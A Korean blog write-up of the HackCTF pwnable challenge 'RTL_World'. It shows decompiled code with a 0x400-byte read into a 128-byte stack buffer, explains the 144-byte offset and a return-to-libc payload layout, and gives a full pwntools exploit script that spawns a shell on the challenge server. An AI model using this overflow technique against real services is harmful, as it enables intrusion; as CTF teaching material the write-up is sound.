이번에 풀이할 문제는 HackCTF의 RTL_World 문제다. 요즘 HackCTF 문제를 잘 안풀고 있었는데, 갑자기 HackCTF 포너블 문제를 올클해보자는 욕구가 생겨 풀이하게 됐다. 일단 문제 명만 봤을 때는 rtl 공격 기법이 쓰일 것 같다.
문제 파일을 실행해본다면 다음과 같은 문구가 출력된다. 신박해보인다. 저기 나온 선택지를 다 선택해봤지만 딱히 얻을 수 있는 정보는 없었다. 다만 3, 4번은 어느정도의 자본(gold)이 필요하다는 것을 알게됐고, 이 파일의 목적은 binary boss를 죽이는, 즉 exploit하는 것임을 알 수 있었다.(1번 선택지를 선택하면 문제 파일의 보호기법이 출력된다.)
일단 ghidra로 열어봐야겠다.
undefined4 main(void)
{
int iVar1;
char *pcVar2;
undefined4 *puVar3;
undefined4 local_94;
undefined local_90 [128];
undefined4 *local_10;
undefined4 *local_c;
undefined4 *local_8;
setvbuf(stdout,(char *)0x0,2,0);
local_c = (undefined4 *)0x0;
local_c = (undefined4 *)dlopen("/lib/i386-linux-gnu/libc.so.6",1);
local_10 = (undefined4 *)dlsym(local_c,"system");
dlclose(local_c);
local_8 = local_10;
while (iVar1 = memcmp(local_8,"/bin/sh",8), iVar1 != 0) {
local_8 = (undefined4 *)((int)local_8 + 1);
}
puts("\n\nNPC [Village Presient] : ");
puts("Binary Boss made our village fall into disuse...");
puts("If you Have System Armor && Shell Sword.");
puts("You can kill the Binary Boss...");
puts("Help me Pwnable Hero... :(\n");
pcVar2 = "Your Gold : %d\n";
puVar3 = gold;
printf("Your Gold : %d\n",gold);
do {
Menu(pcVar2,puVar3);
printf(">>> ");
puVar3 = &local_94;
pcVar2 = &DAT_08048dd9;
__isoc99_scanf();
switch(local_94) {
case 1:
system("clear");
puts("[Binary Boss]\n");
puts("Arch: i386-32-little");
puts("RELRO: Partial RELRO");
puts("Stack: No canary found");
puts("NX: NX enabled");
puts("PIE: No PIE (0x8048000)");
puts("ASLR: Enable");
puVar3 = local_c;
printf("Binary Boss live in %p\n");
pcVar2 = "Binart Boss HP is 140 + Armor + 4\n";
puts("Binart Boss HP is 140 + Armor + 4\n");
break;
case 2:
pcVar2 = (char *)gold;
Get_Money();
break;
case 3:
if ((int)gold < 2000) {
pcVar2 = "You don\'t have gold... :(";
puts("You don\'t have gold... :(");
}
else {
gold = (undefined4 *)((int)gold + -1999);
pcVar2 = "System Armor : %p\n";
puVar3 = local_10;
printf("System Armor : %p\n");
}
break;
case 4:
if ((int)gold < 3000) {
pcVar2 = "You don\'t have gold... :(";
puts("You don\'t have gold... :(");
}
else {
gold = (undefined4 *)((int)gold + -2999);
pcVar2 = "Shell Sword : %p\n";
puVar3 = local_8;
printf("Shell Sword : %p\n");
}
break;
case 5:
printf("[Attack] > ");
read(0,local_90,0x400);
return 0;
case 6:
puts("Your Not Hero... Bye...");
/* WARNING: Subroutine does not return */
exit(0);
}
} while( true );
}
코드가 너무 길기 때문에 스샷이 힘들어 코드 블록으로 대체했다. switch문으로 각 선택을 분기하는 것을 알 수 있으며, 1에서는 예상대로 보호기법을, 2번에서는 gold를 얻게 해준다. (2번 안에도 세 가지 선택지가 존재하는데 그중 3번이 돈을 가장 많이 준다.) 3번, 4번은 각각 gold가 2000, 3000 이상이여야지 진행이 가능한데, 돈이 충분할 경우에는 각각 system 함수의 주소, "/bin/sh" 문자열의 주소를 제공해준다.
마지막 5번은 read 함수로 128byte 크기의 char형 배열에 0x400만큼 입력을 받을 수 있게 함으로써 exploit의 기회를 제공해준다.(6번 선택지는 종료이므로 설명하지 않겠다.)
문제 파일에는 nx bit와 aslr이 걸려있으므로 쉘 코드를 이용한 공격은 힘들다. 또한 libc가 주어져있지 않기 때문에 rop 공격을하려면 libc-database를 이용해야한다. 하지만 돈만 충분하다면 system 함수의 주소와 /bin/sh 문자열의 주소까지 주기 때문에 굳이 leak할 필요없이 편하게 rtl 공격을 하면 될 것 같다.
일단 payload 구상 전 ret와 local_90 사이의 거리를 확인해보겠다.
ret는 0xffffd0dc, local_90은 0xffffd04c인 것을 알 수 있다. 따라서 ret와 local_90 사이의 거리는 144byte로 0x400byte를 입력 받는 read 함수로 충분히 변조 가능하다.
payload는 다음과 같이 구성된다.
[dummy] * 144 + [system 함수 address] + [dummy] * 4 + [/bin/sh address]
system 함수의 주소와 /bin/sh 사이에 4byte의 dummy를 넣는 이유는 이 자리는 system 함수가 실행되고 나서 복귀주소인 ret가 들어갈 자리기 때문이다. rtl chaining으로 여러 함수를 사용할 필요가 있다면, 이 자리에 다음에 실행할 함수의 주소를 넣으면 되지만, 우리는 쉘만 얻으면 되므로 dummy 값만 넣어주면 된다.
한 가지 더, 위 payload가 성립되려면 system, /bin/sh의 주소를 구해야하고, 이 주소들을 구하려면 자본이 필요하므로 pwntools로 자동화하여 돈을 모은 후 3, 4 선택지를 통해 주소를 구한 다음 위 payload를 구성해줘야 한다.
from pwn import *
#p = process('./rtl_world')
p = remote('ctf.j0n9hyun.xyz', 3010)
def makeMoney(p):
p.sendlineafter('>>> ', '2')
p.sendlineafter('(Job)>>> ', '3')
p.recvuntil('Your Gold is ')
print(p.recv(5))
for i in range(20):
makeMoney(p)
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
system_address = int(p.recv(10),16)
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
binsh_address = int(p.recv(10), 16)
payload = b'A'*144 + p32(system_address) + b'B'*4 + p32(binsh_address)
p.sendlineafter('>>> ', '5')
p.sendlineafter('[Attack] > ', payload)
p.interactive()
돈을 얻는 과정을 함수로 만들어, 한 20번 정도 돈을 가장 많이 벌 수 있는 선택지 2의 3번을 선택해 돈을 벌도록 코드를 작성했다. 그 후 선택지 3, 4를 선택해 system, /bin/sh의 주소를 구한 후 앞서 말한 payload를 구성 후 5번 선택지를 통해 전송해준다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Random Key (0) | 2021.07.20 |
---|---|
[HackCTF] g++ pwn (0) | 2021.07.05 |
[HackCTF] Yes or no (0) | 2021.05.25 |
[HackCTF] BOF_PIE (0) | 2021.05.11 |
[HackCTF] Offset (0) | 2021.05.11 |